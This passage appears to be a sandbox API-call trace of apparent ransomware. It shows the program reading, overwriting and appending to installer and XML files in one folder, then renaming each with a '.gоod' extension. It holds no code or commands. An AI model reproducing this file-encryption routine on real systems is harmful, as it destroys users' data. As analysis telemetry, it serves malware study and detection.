lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.469] GetFileType (hFile=0x760) returned 0x1 [0071.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0071.469] GetFileType (hFile=0x760) returned 0x1 [0071.469] WriteFile (in: hFile=0x760, lpBuffer=0x31311a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x31311a8*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0071.469] CloseHandle (hObject=0x760) returned 1 [0071.716] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFilePart=0x0) returned 0x28 [0071.716] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.gоod", lpFilePart=0x0) returned 0x2d [0071.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0071.716] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x26f6ba30, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11c010)) returned 1 [0071.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0071.716] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.gоod" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.gоod")) returned 1 [0071.717] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFilePart=0x0) returned 0x2c [0071.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0071.717] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x31eea90 | out: lpFileInformation=0x31eea90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000)) returned 1 [0071.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0071.743] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFilePart=0x0) returned 0x2c [0071.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0071.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.743] GetFileType (hFile=0x760) returned 0x1 [0071.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0071.743] GetFileType (hFile=0x760) returned 0x1 [0071.743] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0071.743] ReadFile (in: hFile=0x760, lpBuffer=0x31eee68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x31eee68*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0071.746] CloseHandle (hObject=0x760) returned 1 [0071.746] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFilePart=0x0) returned 0x2c [0071.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0071.746] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.747] GetFileType (hFile=0x760) returned 0x1 [0071.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0071.747] GetFileType (hFile=0x760) returned 0x1 [0071.747] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0xd5000 [0071.747] WriteFile (in: hFile=0x760, lpBuffer=0x31f00e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x31f00e0*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0071.748] CloseHandle (hObject=0x760) returned 1 [0071.767] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFilePart=0x0) returned 0x2c [0071.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0071.767] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.767] GetFileType (hFile=0x760) returned 0x1 [0071.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0071.767] GetFileType (hFile=0x760) returned 0x1 [0071.767] ReadFile (in: hFile=0x760, lpBuffer=0x31f2380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x31f2380*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0072.708] CloseHandle (hObject=0x760) returned 1 [0072.708] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFilePart=0x0) returned 0x2c [0072.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0072.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0072.708] GetFileType (hFile=0x760) returned 0x1 [0072.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0072.708] GetFileType (hFile=0x760) returned 0x1 [0072.708] WriteFile (in: hFile=0x760, lpBuffer=0x3162d10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x3162d10*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0072.709] CloseHandle (hObject=0x760) returned 1 [0072.722] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFilePart=0x0) returned 0x2c [0072.722] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.gоod", lpFilePart=0x0) returned 0x31 [0072.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0072.722] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x278e8ec7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd5010)) returned 1 [0072.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0072.722] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.gоod" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.gоod")) returned 1 [0072.723] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFilePart=0x0) returned 0x2c [0072.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0072.723] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x32af408 | out: lpFileInformation=0x32af408*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000)) returned 1 [0072.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0072.723] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFilePart=0x0) returned 0x2c [0072.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0072.723] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0072.724] GetFileType (hFile=0x760) returned 0x1 [0072.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0072.724] GetFileType (hFile=0x760) returned 0x1 [0072.724] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0072.724] ReadFile (in: hFile=0x760, lpBuffer=0x32af7e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x32af7e0*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0072.928] CloseHandle (hObject=0x760) returned 1 [0072.929] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFilePart=0x0) returned 0x2c [0072.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0072.929] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0072.929] GetFileType (hFile=0x760) returned 0x1 [0072.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0072.929] GetFileType (hFile=0x760) returned 0x1 [0072.929] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x79000 [0072.929] WriteFile (in: hFile=0x760, lpBuffer=0x31a88d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x31a88d0*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0072.930] CloseHandle (hObject=0x760) returned 1 [0072.941] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFilePart=0x0) returned 0x2c [0072.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0072.941] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0072.941] GetFileType (hFile=0x760) returned 0x1 [0072.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0072.942] GetFileType (hFile=0x760) returned 0x1 [0072.942] ReadFile (in: hFile=0x760, lpBuffer=0x31aab70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x31aab70*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0073.563] CloseHandle (hObject=0x760) returned 1 [0073.564] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFilePart=0x0) returned 0x2c [0073.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0073.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0073.564] GetFileType (hFile=0x760) returned 0x1 [0073.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0073.564] GetFileType (hFile=0x760) returned 0x1 [0073.564] WriteFile (in: hFile=0x760, lpBuffer=0x31a98e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x31a98e8*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0073.565] CloseHandle (hObject=0x760) returned 1 [0073.574] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFilePart=0x0) returned 0x2c [0073.574] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.gоod", lpFilePart=0x0) returned 0x31 [0073.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0073.574] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x280ff6bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x79010)) returned 1 [0073.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0073.574] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.gоod" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.gоod")) returned 1 [0073.810] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFilePart=0x0) returned 0x27 [0073.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0073.810] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x353f390 | out: lpFileInformation=0x353f390*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae)) returned 1 [0073.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0073.811] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFilePart=0x0) returned 0x27 [0073.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0073.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0073.811] GetFileType (hFile=0x760) returned 0x1 [0073.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0073.811] GetFileType (hFile=0x760) returned 0x1 [0073.811] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0073.811] ReadFile (in: hFile=0x760, lpBuffer=0x353f738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x353f738*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0073.813] CloseHandle (hObject=0x760) returned 1 [0073.813] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFilePart=0x0) returned 0x27 [0073.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0073.813] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0073.813] GetFileType (hFile=0x760) returned 0x1 [0073.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0073.813] GetFileType (hFile=0x760) returned 0x1 [0073.813] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x426ae [0073.813] WriteFile (in: hFile=0x760, lpBuffer=0x3540998*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x3540998*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0073.815] CloseHandle (hObject=0x760) returned 1 [0073.820] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFilePart=0x0) returned 0x27 [0073.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0073.821] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0073.821] GetFileType (hFile=0x760) returned 0x1 [0073.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0073.821] GetFileType (hFile=0x760) returned 0x1 [0073.821] ReadFile (in: hFile=0x760, lpBuffer=0x3542c20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x3542c20*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0073.855] CloseHandle (hObject=0x760) returned 1 [0073.855] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFilePart=0x0) returned 0x27 [0073.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0073.855] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0073.855] GetFileType (hFile=0x760) returned 0x1 [0073.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0073.855] GetFileType (hFile=0x760) returned 0x1 [0073.855] WriteFile (in: hFile=0x760, lpBuffer=0x35419b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x35419b0*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0073.856] CloseHandle (hObject=0x760) returned 1 [0074.228] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFilePart=0x0) returned 0x27 [0074.228] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml.gоod", lpFilePart=0x0) returned 0x2c [0074.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0074.228] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x287496de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x426be)) returned 1 [0074.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0074.229] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.gоod")) returned 1 [0074.231] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFilePart=0x0) returned 0x26 [0074.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0074.231] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x36a6d58 | out: lpFileInformation=0x36a6d58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200)) returned 1 [0074.231] 